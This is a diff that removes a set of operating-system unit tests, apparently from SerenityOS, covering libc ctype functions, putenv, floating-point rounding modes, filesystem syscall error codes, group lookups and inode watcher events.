// The isprint function tests for any printing character including space ( ).
TEST_CASE(test_isprint)
{
for (int i = 0; i < 256; ++i) {
if ((i >= ' ' && i <= '~'))
EXPECT_NE(isprint(i), 0);
else
EXPECT_EQ(isprint(i), 0);
}
}
// 7.4.1.9 The ispunct function
// The ispunct function tests for any printing character that is one of a locale-specific set of punctuation
// characters for which neither isspace nor isalnum is true. In the "C" locale, ispunct returns true
// for every printing character for which neither isspace nor isalnum is true
TEST_CASE(test_ispunct)
{
for (int i = 0; i < 256; ++i) {
if ((i > ' ' && i < '0') || (i > '9' && i < 'A') || (i > 'Z' && i < 'a') || (i > 'z' && i < '\x7F'))
EXPECT_NE(ispunct(i), 0);
else
EXPECT_EQ(ispunct(i), 0);
}
}
// 7.4.1.10 The isspace function
// The isspace function tests for any character that is a standard white-space character or is one of
// a locale-specific set of characters for which isalnum is false. The standard white-space characters
// are the following: space ( ), form feed (\f ), new-line (\n ), carriage return (\r ), horizontal
// tab (\t ), and vertical tab (\v ). In the "C" locale, isspace returns true only for the standard
// white-space characters.
TEST_CASE(test_isspace)
{
for (int i = 0; i < 256; ++i) {
if ((i == ' ') || (i == '\f') || (i == '\n') || (i == '\r') || (i == '\t') || (i == '\v'))
EXPECT_NE(isspace(i), 0);
else
EXPECT_EQ(isspace(i), 0);
}
}
// 7.4.1.11 The isupper function
// The isupper function tests for any character that is an uppercase letter or is one of a locale-specific
// set of characters for which none of iscntrl, isdigit, ispunct, or isspace is true. In the "C" locale,
// isupper returns true only for the uppercase letters (as defined in 5.2.1)
TEST_CASE(test_isupper)
{
for (int i = 0; i < 256; ++i) {
if ((i >= 'A' && i <= 'Z'))
EXPECT_NE(isupper(i), 0);
else
EXPECT_EQ(isupper(i), 0);
}
}
// 7.4.1.12 The isxdigit function
// The isxdigit function tests for any hexadecimal-digit character (as defined in 6.4.4.1).
TEST_CASE(test_isxdigit)
{
for (int i = 0; i < 256; ++i) {
if ((i >= '0' && i <= '9') || (i >= 'A' && i <= 'F') || (i >= 'a' && i <= 'f'))
EXPECT_NE(isxdigit(i), 0);
else
EXPECT_EQ(isxdigit(i), 0);
}
}
// 7.4.2.1 The tolower function
// The tolower function converts an uppercase letter to a corresponding lowercase letter
TEST_CASE(test_tolower)
{
for (int i = 0; i < 256; ++i) {
if ((i >= 'A' && i <= 'Z'))
EXPECT_EQ(tolower(i), i + 0x20);
else
EXPECT_EQ(tolower(i), i);
}
}
// 7.4.2.2 The toupper function
// The toupper function converts an lowercase letter to a corresponding uppercase letter
TEST_CASE(test_toupper)
{
for (int i = 0; i < 256; ++i) {
if ((i >= 'a' && i <= 'z'))
EXPECT_EQ(toupper(i), i - 0x20);
else
EXPECT_EQ(toupper(i), i);
}
}

View file

@ -1,43 +0,0 @@
/*
* Copyright (c) 2023, Jelle Raaijmakers <jelle@gmta.nl>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <stdlib.h>
#include <string.h>
TEST_CASE(putenv_overwrite_invalid_value)
{
// Write an environment variable using the heap
auto* heap_environment_value = new char[12];
VERIFY(snprintf(heap_environment_value, 12, "TESTVAR=123") == 11);
auto result = putenv(heap_environment_value);
EXPECT_EQ(result, 0);
// Try to retrieve the variable after overwriting the heap value
memset(heap_environment_value, 0, 12);
auto* environment_variable = getenv("TESTVAR");
EXPECT_EQ(environment_variable, nullptr);
// Try to overwrite the variable now that it's zeroed out
auto* new_environment_value = new char[12];
VERIFY(snprintf(new_environment_value, 12, "TESTVAR=456") == 11);
result = putenv(new_environment_value);
EXPECT_EQ(result, 0);
// Retrieve the variable and verify that it's set correctly
environment_variable = getenv("TESTVAR");
EXPECT_NE(environment_variable, nullptr);
EXPECT_EQ(strcmp(environment_variable, "456"), 0);
// Overwrite and retrieve it again to test correct search behavior for '='
auto* final_environment_value = new char[12];
VERIFY(snprintf(final_environment_value, 12, "TESTVAR=789") == 11);
result = putenv(final_environment_value);
EXPECT_EQ(result, 0);
environment_variable = getenv("TESTVAR");
EXPECT_NE(environment_variable, nullptr);
EXPECT_EQ(strcmp(environment_variable, "789"), 0);
}

View file

@ -1,121 +0,0 @@
/*
* Copyright (c) 2023, kleines Filmröllchen <filmroellchen@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <fenv.h>
// TODO: Add tests for floating-point exception management.
static constexpr auto reset_rounding_mode = [] { fesetround(FE_TONEAREST); };
#if !ARCH(RISCV64)
# define TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
#endif
TEST_CASE(float_round_up)
{
// Non-default rounding mode should not escape files with -frounding-math.
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_UPWARD);
EXPECT_EQ(0.1f + 0.2f, 0.3f);
EXPECT_EQ(0.1f + 0.3f, 0.40000004f);
EXPECT_EQ(0.1f + 0.4f, 0.50000006f);
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
EXPECT_EQ(1.f + 0.1f, 1.1f);
}
TEST_CASE(float_round_down)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_DOWNWARD);
EXPECT_EQ(0.1f + 0.2f, 0.29999998f);
EXPECT_EQ(0.1f + 0.3f, 0.4f);
EXPECT_EQ(0.1f + 0.4f, 0.5f);
EXPECT_EQ(-1.f + -0.1f, -1.1f);
EXPECT_EQ(1.f + 0.1f, 1.0999999f);
}
TEST_CASE(float_round_to_zero)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_TOWARDZERO);
EXPECT_EQ(0.1f + 0.2f, 0.29999998f);
EXPECT_EQ(0.1f + 0.3f, 0.4f);
EXPECT_EQ(0.1f + 0.4f, 0.5f);
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
EXPECT_EQ(1.f + 0.1f, 1.0999999f);
}
TEST_CASE(float_round_to_nearest)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_TONEAREST);
EXPECT_EQ(0.1f + 0.2f, 0.3f);
EXPECT_EQ(0.1f + 0.3f, 0.4f);
EXPECT_EQ(0.1f + 0.4f, 0.5f);
EXPECT_EQ(-1.f + -0.1f, -1.1f);
EXPECT_EQ(1.f + 0.1f, 1.1f);
EXPECT_EQ(1.f + 5.9604645e-08f, 1.f);
}
TEST_CASE(float_round_to_max_magnitude)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_TOMAXMAGNITUDE);
EXPECT_EQ(0.1f + 0.2f, 0.3f);
EXPECT_EQ(0.1f + 0.3f, 0.4f);
EXPECT_EQ(0.1f + 0.4f, 0.5f);
EXPECT_EQ(-1.f + -0.1f, -1.1f);
EXPECT_EQ(1.f + 0.1f, 1.1f);
#ifdef TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
EXPECT_EQ(1.f + 5.9604645e-08f, 1.f);
#else
EXPECT_EQ(1.f + 5.9604645e-08f, 1.0000001f);
#endif
}
TEST_CASE(store_round_in_env)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_DOWNWARD);
fenv_t env;
fegetenv(&env);
fesetround(FE_UPWARD);
// This result only happens under upward rounding.
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
fesetenv(&env);
// ... and this only under downward rounding.
EXPECT_EQ(-1.f + -0.1f, -1.1f);
}
TEST_CASE(save_restore_round)
{
ScopeGuard rounding_mode_guard = reset_rounding_mode;
fesetround(FE_DOWNWARD);
auto rounding_mode = fegetround();
EXPECT_EQ(rounding_mode, FE_DOWNWARD);
fesetround(FE_UPWARD);
EXPECT_EQ(fegetround(), FE_UPWARD);
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
fesetround(rounding_mode);
EXPECT_EQ(-1.f + -0.1f, -1.1f);
fesetround(FE_TOMAXMAGNITUDE);
#ifdef TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
// Max-magnitude rounding is not supported by x86, so we expect fesetround to decay it to some other rounding mode.
EXPECT_EQ(fegetround(), FE_TONEAREST);
#else
EXPECT_EQ(fegetround(), FE_TOMAXMAGNITUDE);
#endif
}

View file

@ -1,476 +0,0 @@
/*
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
* Copyright (c) 2021, Andrew Kaster <akaster@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Types.h>
#include <LibFileSystem/FileSystem.h>
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
#define EXPECT_ERROR_2(err, syscall, arg1, arg2) \
do { \
rc = syscall(arg1, arg2); \
EXPECT(rc < 0); \
EXPECT_EQ(errno, err); \
if (rc >= 0 || errno != err) { \
warnln(__FILE__ ":{}: Expected " #err ": " #syscall "({}, {}), got rc={}, errno={}", __LINE__, arg1, arg2, rc, errno); \
} \
} while (0)
#define EXPECT_ERROR_3(err, syscall, arg1, arg2, arg3) \
do { \
rc = syscall(arg1, arg2, arg3); \
EXPECT(rc < 0); \
EXPECT_EQ(errno, err); \
if (rc >= 0 || errno != err) { \
warnln(__FILE__ ":{}: Expected " #err ": " #syscall "({}, {}, {}), got rc={}, errno={}", __LINE__, arg1, arg2, arg3, rc, errno); \
} \
} while (0)
TEST_CASE(read_from_directory)
{
char buffer[BUFSIZ];
int fd = open("/", O_DIRECTORY | O_RDONLY);
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_3(EISDIR, read, fd, buffer, sizeof(buffer));
rc = close(fd);
VERIFY(rc == 0);
}
TEST_CASE(write_to_directory)
{
char str[] = "oh frick";
int fd = open("/", O_DIRECTORY | O_RDONLY);
if (fd < 0)
perror("open");
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_3(EBADF, write, fd, str, sizeof(str));
rc = close(fd);
VERIFY(rc == 0);
}
TEST_CASE(read_from_writeonly)
{
char buffer[BUFSIZ];
int fd = open("/tmp/xxxx123", O_CREAT | O_WRONLY);
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_3(EBADF, read, fd, buffer, sizeof(buffer));
rc = close(fd);
VERIFY(rc == 0);
rc = unlink("/tmp/xxxx123");
VERIFY(rc == 0);
}
TEST_CASE(write_to_readonly)
{
char str[] = "hello";
int fd = open("/tmp/abcd123", O_CREAT | O_RDONLY);
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_3(EBADF, write, fd, str, sizeof(str));
rc = close(fd);
VERIFY(rc == 0);
rc = unlink("/tmp/abcd123");
VERIFY(rc == 0);
}
TEST_CASE(read_past_eof)
{
char buffer[BUFSIZ];
int fd = open("/home/anon/README.md", O_RDONLY);
if (fd < 0)
perror("open");
VERIFY(fd >= 0);
int rc;
rc = lseek(fd, 99999, SEEK_SET);
if (rc < 0)
perror("lseek");
rc = read(fd, buffer, sizeof(buffer));
if (rc < 0)
perror("read");
if (rc > 0)
warnln("read {} bytes past EOF", rc);
rc = close(fd);
VERIFY(rc == 0);
}
TEST_CASE(ftruncate_readonly)
{
int fd = open("/tmp/trunctest", O_RDONLY | O_CREAT, 0666);
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_2(EBADF, ftruncate, fd, 0);
rc = close(fd);
VERIFY(rc == 0);
rc = unlink("/tmp/trunctest");
VERIFY(rc == 0);
}
TEST_CASE(ftruncate_negative)
{
int fd = open("/tmp/trunctest", O_RDWR | O_CREAT, 0666);
VERIFY(fd >= 0);
int rc;
EXPECT_ERROR_2(EINVAL, ftruncate, fd, -1);
rc = close(fd);
VERIFY(rc == 0);
rc = unlink("/tmp/trunctest");
VERIFY(rc == 0);
}
TEST_CASE(mmap_directory)
{
int fd = open("/tmp", O_RDONLY | O_DIRECTORY);
VERIFY(fd >= 0);
auto* ptr = mmap(nullptr, 4096, PROT_READ, MAP_SHARED, fd, 0);
EXPECT_EQ(ptr, MAP_FAILED);
if (ptr != MAP_FAILED) {
warnln("Boo! mmap() of a directory succeeded!");
}
EXPECT_EQ(errno, ENODEV);
if (errno != ENODEV) {
warnln("Boo! mmap() of a directory gave errno={} instead of ENODEV!", errno);
return;
}
close(fd);
}
TEST_CASE(tmpfs_read_past_end)
{
int fd = open("/tmp/x", O_RDWR | O_CREAT | O_TRUNC, 0600);
VERIFY(fd >= 0);
int rc = ftruncate(fd, 1);
VERIFY(rc == 0);
rc = lseek(fd, 4096, SEEK_SET);
VERIFY(rc == 4096);
char buffer[16];
int nread = read(fd, buffer, sizeof(buffer));
if (nread != 0) {
warnln("Expected 0-length read past end of file in /tmp");
}
rc = close(fd);
VERIFY(rc == 0);
rc = unlink("/tmp/x");
VERIFY(rc == 0);
}
TEST_CASE(sysfs_read_past_uptime_end)
{
int fd = open("/sys/kernel/uptime", O_RDONLY);
VERIFY(fd >= 0);
int rc = lseek(fd, 4096, SEEK_SET);
VERIFY(rc == 4096);
char buffer[16];
int nread = read(fd, buffer, sizeof(buffer));
if (nread != 0) {
warnln("Expected 0-length read past end of file in /proc");
}
close(fd);
}
TEST_CASE(open_create_device)
{
int fd = open("/tmp/fakedevice", (O_RDWR | O_CREAT), (S_IFCHR | 0600));
VERIFY(fd >= 0);
struct stat st;
int rc = fstat(fd, &st);
EXPECT(rc >= 0);
if (rc < 0) {
perror("stat");
}
EXPECT_EQ(st.st_mode, 0100600);
if (st.st_mode != 0100600) {
warnln("Expected mode 0100600 after attempt to create a device node with open(O_CREAT), mode={:o}", st.st_mode);
}
rc = unlink("/tmp/fakedevice");
EXPECT_EQ(rc, 0);
close(fd);
EXPECT_EQ(rc, 0);
}
TEST_CASE(unlink_symlink)
{
int rc = symlink("/proc/2/foo", "/tmp/linky");
EXPECT(rc >= 0);
if (rc < 0) {
perror("symlink");
}
auto target = TRY_OR_FAIL(FileSystem::read_link("/tmp/linky"sv));
EXPECT_EQ(target, "/proc/2/foo"sv);
rc = unlink("/tmp/linky");
EXPECT(rc >= 0);
if (rc < 0) {
perror("unlink");
warnln("Expected unlink() of a symlink into an unreadable directory to succeed!");
}
}
TEST_CASE(tmpfs_eoverflow)
{
int fd = open("/tmp/x", O_RDWR | O_CREAT);
EXPECT(fd >= 0);
off_t rc = lseek(fd, INT64_MAX, SEEK_SET);
EXPECT_EQ(rc, INT64_MAX);
char buffer[16] {};
char empty_buffer[16] {};
rc = read(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EOVERFLOW);
[[maybe_unused]] auto ignored = strlcpy(buffer, "abcdefghijklmno", sizeof(buffer) - 1);
rc = write(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EOVERFLOW);
if (rc >= 0 || errno != EOVERFLOW) {
warnln("Expected EOVERFLOW when trying to write past INT64_MAX");
}
// ok now, write something to it, and try again
rc = lseek(fd, 0, SEEK_SET);
EXPECT_EQ(rc, 0);
rc = write(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, 16);
rc = lseek(fd, INT64_MAX, SEEK_SET);
EXPECT_EQ(rc, INT64_MAX);
memset(buffer, 0, sizeof(buffer));
rc = read(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EOVERFLOW);
if (rc >= 0 || errno != EOVERFLOW) {
warnln("Expected EOVERFLOW when trying to read past INT64_MAX");
}
EXPECT_EQ(0, memcmp(buffer, empty_buffer, sizeof(buffer)));
rc = close(fd);
EXPECT_EQ(rc, 0);
rc = unlink("/tmp/x");
EXPECT_EQ(rc, 0);
}
TEST_CASE(tmpfs_massive_file)
{
int fd = open("/tmp/x", O_RDWR | O_CREAT);
EXPECT(fd >= 0);
off_t rc = lseek(fd, INT32_MAX, SEEK_SET);
EXPECT_EQ(rc, INT32_MAX);
char buffer[16] {};
rc = read(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, 0);
[[maybe_unused]] auto ignored = strlcpy(buffer, "abcdefghijklmno", sizeof(buffer) - 1);
rc = write(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, 16);
// ok now, write something to it, and try again
rc = lseek(fd, 0, SEEK_SET);
EXPECT_EQ(rc, 0);
rc = write(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, 16);
rc = lseek(fd, INT32_MAX, SEEK_SET);
EXPECT_EQ(rc, INT32_MAX);
memset(buffer, 0, sizeof(buffer));
rc = read(fd, buffer, sizeof(buffer));
EXPECT_EQ(rc, 16);
EXPECT(buffer != "abcdefghijklmno"sv);
rc = close(fd);
EXPECT_EQ(rc, 0);
rc = unlink("/tmp/x");
EXPECT_EQ(rc, 0);
}
TEST_CASE(rmdir_dot)
{
int rc = mkdir("/home/anon/rmdir-test-1", 0700);
EXPECT_EQ(rc, 0);
rc = rmdir("/home/anon/rmdir-test-1/.");
EXPECT_NE(rc, 0);
EXPECT_EQ(errno, EINVAL);
rc = chdir("/home/anon/rmdir-test-1");
EXPECT_EQ(rc, 0);
rc = rmdir(".");
VERIFY(rc != 0);
EXPECT_EQ(errno, EINVAL);
rc = rmdir("/home/anon/rmdir-test-1");
EXPECT_EQ(rc, 0);
}
TEST_CASE(rmdir_dot_dot)
{
int rc = mkdir("/home/anon/rmdir-test-2", 0700);
EXPECT_EQ(rc, 0);
rc = mkdir("/home/anon/rmdir-test-2/foo", 0700);
EXPECT_EQ(rc, 0);
rc = rmdir("/home/anon/rmdir-test-2/foo/..");
EXPECT_NE(rc, 0);
EXPECT_EQ(errno, ENOTEMPTY);
rc = rmdir("/home/anon/rmdir-test-2/foo");
EXPECT_EQ(rc, 0);
rc = rmdir("/home/anon/rmdir-test-2");
EXPECT_EQ(rc, 0);
}
TEST_CASE(rmdir_someone_elses_directory_in_my_sticky_directory)
{
// NOTE: This test only works when run as root, since it has to chown a directory to someone else.
if (getuid() != 0)
return;
// Create /tmp/sticky-dir a sticky directory owned by 12345:12345
// Then, create /tmp/sticky-dir/notmine, a normal directory owned by 23456:23456
// Then, fork and seteuid to 12345, and try to rmdir the "notmine" directory. This should succeed.
// In the parent, waitpid on the child, and finally rmdir /tmp/sticky-dir
int rc = mkdir("/tmp/sticky-dir", 01777);
EXPECT_EQ(rc, 0);
rc = chown("/tmp/sticky-dir", 12345, 12345);
EXPECT_EQ(rc, 0);
rc = mkdir("/tmp/sticky-dir/notmine", 0700);
EXPECT_EQ(rc, 0);
rc = chown("/tmp/sticky-dir/notmine", 23456, 23456);
EXPECT_EQ(rc, 0);
int pid = fork();
EXPECT(pid >= 0);
if (pid == 0) {
// We are in the child.
rc = seteuid(12345);
EXPECT_EQ(rc, 0);
rc = rmdir("/tmp/sticky-dir/notmine");
EXPECT_EQ(rc, 0);
_exit(0);
}
int status = 0;
waitpid(pid, &status, 0);
rc = rmdir("/tmp/sticky-dir");
EXPECT_EQ(rc, 0);
}
TEST_CASE(rmdir_while_inside_dir)
{
int rc = mkdir("/home/anon/testdir", 0700);
VERIFY(rc == 0);
rc = chdir("/home/anon/testdir");
VERIFY(rc == 0);
rc = rmdir("/home/anon/testdir");
VERIFY(rc == 0);
int fd = open("x", O_CREAT | O_RDWR, 0600);
EXPECT(fd < 0);
EXPECT_EQ(errno, ENOENT);
if (fd >= 0 || errno != ENOENT) {
warnln("Expected ENOENT when trying to create a file inside a deleted directory. Got {} with errno={}", fd, errno);
}
rc = chdir("/home/anon");
VERIFY(rc == 0);
}
TEST_CASE(writev)
{
int pipefds[2];
int rc = pipe(pipefds);
EXPECT(rc == 0);
iovec iov[2];
iov[0].iov_base = const_cast<void*>((void const*)"Hello");
iov[0].iov_len = 5;
iov[1].iov_base = const_cast<void*>((void const*)"Friends");
iov[1].iov_len = 7;
int nwritten = writev(pipefds[1], iov, 2);
EXPECT_EQ(nwritten, 12);
if (nwritten < 0) {
perror("writev");
}
if (nwritten != 12) {
warnln("Didn't write 12 bytes to pipe with writev");
}
char buffer[32] {};
int nread = read(pipefds[0], buffer, sizeof(buffer));
EXPECT_EQ(nread, 12);
EXPECT_EQ(buffer, "HelloFriends"sv);
if (nread != 12 || memcmp(buffer, "HelloFriends", 12)) {
warnln("Didn't read the expected data from pipe after writev");
VERIFY_NOT_REACHED();
}
close(pipefds[0]);
close(pipefds[1]);
}
TEST_CASE(rmdir_root)
{
int rc = rmdir("/");
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EBUSY);
if (rc != -1 || errno != EBUSY) {
warnln("rmdir(/) didn't fail with EBUSY");
}
}
TEST_CASE(open_silly_things)
{
int rc = -1;
EXPECT_ERROR_2(ENOTDIR, open, "/dev/zero", (O_DIRECTORY | O_RDONLY));
EXPECT_ERROR_2(EINVAL, open, "/dev/zero", (O_DIRECTORY | O_CREAT | O_RDWR));
EXPECT_ERROR_2(EEXIST, open, "/dev/zero", (O_CREAT | O_EXCL | O_RDWR));
EXPECT_ERROR_2(EINVAL, open, "/tmp/abcdef", (O_DIRECTORY | O_CREAT | O_RDWR));
EXPECT_ERROR_2(EACCES, open, "/sys/kernel/processes", (O_RDWR));
EXPECT_ERROR_2(ENOENT, open, "/boof/baaf/nonexistent", (O_CREAT | O_RDWR));
EXPECT_ERROR_2(EISDIR, open, "/tmp", (O_DIRECTORY | O_RDWR));
EXPECT_ERROR_2(EPERM, link, "/", "/home/anon/lolroot");
}

View file

@ -1,27 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <dirent.h>
#include <string.h>
TEST_CASE(scandir_basic_scenario)
{
struct dirent** namelist = nullptr;
auto entries = scandir("/etc", &namelist, nullptr, nullptr);
EXPECT(entries > 0);
EXPECT_NE(namelist, nullptr);
bool found_passwd = false;
for (auto i = 0; i < entries; i++) {
if (strcmp(namelist[i]->d_name, "passwd") == 0) {
found_passwd = true;
}
free(namelist[i]);
}
EXPECT(found_passwd);
free(namelist);
}

View file

@ -1,26 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
TEST_CASE(exec_should_not_search_current_directory)
{
int fd = open("hax", O_CREAT | O_RDWR, 0755);
ftruncate(fd, 0);
close(fd);
int rc = execlp("hax", "hax", nullptr);
int saved_errno = errno;
perror("execlp");
unlink("hax");
EXPECT_EQ(rc, -1);
EXPECT_NE(saved_errno, ENOEXEC);
}

View file

@ -1,102 +0,0 @@
/*
* Copyright (c) 2018-2023, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <AK/HashTable.h>
#include <LibTest/Macros.h>
#include <LibTest/TestCase.h>
#include <grp.h>
void check_correctness(struct group* gr);
void check_correctness(struct group* gr)
{
EXPECT_NE(gr, nullptr);
EXPECT_EQ(gr->gr_gid, (gid_t)3);
EXPECT_EQ(gr->gr_name, "phys"sv);
EXPECT_EQ(gr->gr_passwd, "x"sv);
HashTable<ByteString> members;
for (char** mem = gr->gr_mem; *mem; ++mem) {
members.set(ByteString(*mem));
}
EXPECT_EQ(true, members.contains("window"sv));
EXPECT_EQ(true, members.contains("anon"sv));
}
TEST_CASE(getgrid_returns_correct_value)
{
// From Base/etc/group
// phys:x:3:window,anon
struct group* gr = getgrgid(3);
check_correctness(gr);
gr = getgrgid(99999);
EXPECT_EQ(gr, nullptr);
}
TEST_CASE(getgrid_r_uses_provided_buffer)
{
// From Base/etc/group
// phys:x:3:window,anon
struct group g;
struct group* res;
AK::Array<char, 1024> buffer;
setgrent();
int rc = getgrgid_r(3, &g, buffer.data(), buffer.size(), &res);
endgrent();
EXPECT_EQ(rc, 0);
check_correctness(&g);
EXPECT_EQ(res, &g);
auto is_pointer_in_range = [&buffer](void* ptr) {
return (buffer.data() <= ptr) && (ptr < buffer.data() + buffer.size());
};
EXPECT(is_pointer_in_range(g.gr_mem));
EXPECT(is_pointer_in_range(g.gr_name));
char** mem = g.gr_mem;
for (; *mem; ++mem) {
EXPECT(is_pointer_in_range(mem));
EXPECT(is_pointer_in_range(*mem));
}
EXPECT(is_pointer_in_range(mem));
}
TEST_CASE(getgrname_r_uses_provided_buffer)
{
// From Base/etc/group
// phys:x:3:window,anon
struct group g;
struct group* res;
AK::Array<char, 1024> buffer;
setgrent();
int rc = getgrnam_r("phys", &g, buffer.data(), buffer.size(), &res);
endgrent();
EXPECT_EQ(rc, 0);
check_correctness(&g);
EXPECT_EQ(res, &g);
auto is_pointer_in_range = [&buffer](void* ptr) {
return (buffer.data() <= ptr) && (ptr < buffer.data() + buffer.size());
};
EXPECT(is_pointer_in_range(g.gr_mem));
EXPECT(is_pointer_in_range(g.gr_name));
char** mem = g.gr_mem;
for (; *mem; ++mem) {
EXPECT(is_pointer_in_range(mem));
EXPECT(is_pointer_in_range(*mem));
}
EXPECT(is_pointer_in_range(mem));
}

View file

@ -1,169 +0,0 @@
/*
* Copyright (c) 2021, sin-ack <sin-ack@protonmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/NumericLimits.h>
#include <Kernel/API/InodeWatcherEvent.h>
#include <Kernel/API/InodeWatcherFlags.h>
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <utime.h>
u8 buffer[MAXIMUM_EVENT_SIZE];
InodeWatcherEvent* event = reinterpret_cast<InodeWatcherEvent*>(buffer);
static int read_event(int fd)
{
int rc = read(fd, &buffer, MAXIMUM_EVENT_SIZE);
return rc;
}
static ByteString get_event_name()
{
if (event->name_length == 0)
return ByteString();
return ByteString { event->name, event->name_length - 1 };
}
TEST_CASE(inode_watcher_metadata_modified_event)
{
int fd = create_inode_watcher(0);
EXPECT_NE(fd, -1);
int test_fd = creat("/tmp/testfile", 0777);
EXPECT_NE(test_fd, -1);
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::MetadataModified));
EXPECT_NE(wd, -1);
// "touch" the file
int rc = utime("/tmp/testfile", nullptr);
EXPECT_NE(rc, -1);
rc = read_event(fd);
EXPECT_EQ(event->watch_descriptor, wd);
EXPECT_EQ(event->type, InodeWatcherEvent::Type::MetadataModified);
close(fd);
close(test_fd);
unlink("/tmp/testfile");
}
TEST_CASE(inode_watcher_content_modified_event)
{
int fd = create_inode_watcher(0);
EXPECT_NE(fd, -1);
int test_fd = creat("/tmp/testfile", 0777);
EXPECT_NE(test_fd, -1);
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::ContentModified));
EXPECT_NE(wd, -1);
int rc = write(test_fd, "test", 4);
EXPECT_NE(rc, -1);
rc = read_event(fd);
EXPECT_NE(rc, -1);
EXPECT_EQ(event->watch_descriptor, wd);
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ContentModified);
close(fd);
close(test_fd);
unlink("/tmp/testfile");
}
TEST_CASE(inode_watcher_deleted_event)
{
int fd = create_inode_watcher(0);
EXPECT_NE(fd, -1);
int test_fd = creat("/tmp/testfile", 0777);
EXPECT_NE(test_fd, -1);
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::Deleted));
EXPECT_NE(wd, -1);
int rc = unlink("/tmp/testfile");
EXPECT_NE(rc, -1);
rc = read_event(fd);
EXPECT_NE(rc, -1);
EXPECT_EQ(event->watch_descriptor, wd);
EXPECT_EQ(event->type, InodeWatcherEvent::Type::Deleted);
close(fd);
close(test_fd);
}
TEST_CASE(inode_watcher_child_events)
{
int fd = create_inode_watcher(0);
EXPECT_NE(fd, -1);
int wd = inode_watcher_add_watch(fd, "/tmp/", 5, static_cast<unsigned>(InodeWatcherEvent::Type::ChildCreated | InodeWatcherEvent::Type::ChildDeleted));
EXPECT_NE(fd, -1);
int rc = creat("/tmp/testfile", 0777);
EXPECT_NE(rc, -1);
rc = read_event(fd);
EXPECT_NE(rc, -1);
EXPECT_EQ(event->watch_descriptor, wd);
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ChildCreated);
VERIFY(event->name_length > 0);
EXPECT_EQ(get_event_name(), "testfile");
rc = unlink("/tmp/testfile");
EXPECT_NE(rc, -1);
rc = read_event(fd);
EXPECT_NE(rc, -1);
EXPECT_EQ(event->watch_descriptor, wd);
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ChildDeleted);
VERIFY(event->name_length > 0);
EXPECT_EQ(get_event_name(), "testfile");
close(fd);
}
TEST_CASE(inode_watcher_closes_children_on_close)
{
int fd = create_inode_watcher(0);
EXPECT_NE(fd, -1);
int test_fd = creat("/tmp/testfile", 0777);
EXPECT_NE(test_fd, -1);
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::MetadataModified));
EXPECT_NE(wd, -1);
int rc = utime("/tmp/testfile", nullptr);
EXPECT_NE(rc, -1);
close(fd);
rc = read_event(fd);
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EBADF);
close(test_fd);
unlink("/tmp/testfile");
}
TEST_CASE(inode_watcher_nonblock)
{
int fd = create_inode_watcher(static_cast<unsigned>(InodeWatcherFlags::Nonblock));
EXPECT_NE(fd, -1);
int rc = read_event(fd);
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EAGAIN);
close(fd);
}

View file

@ -1,165 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <LibFileSystem/FileSystem.h>
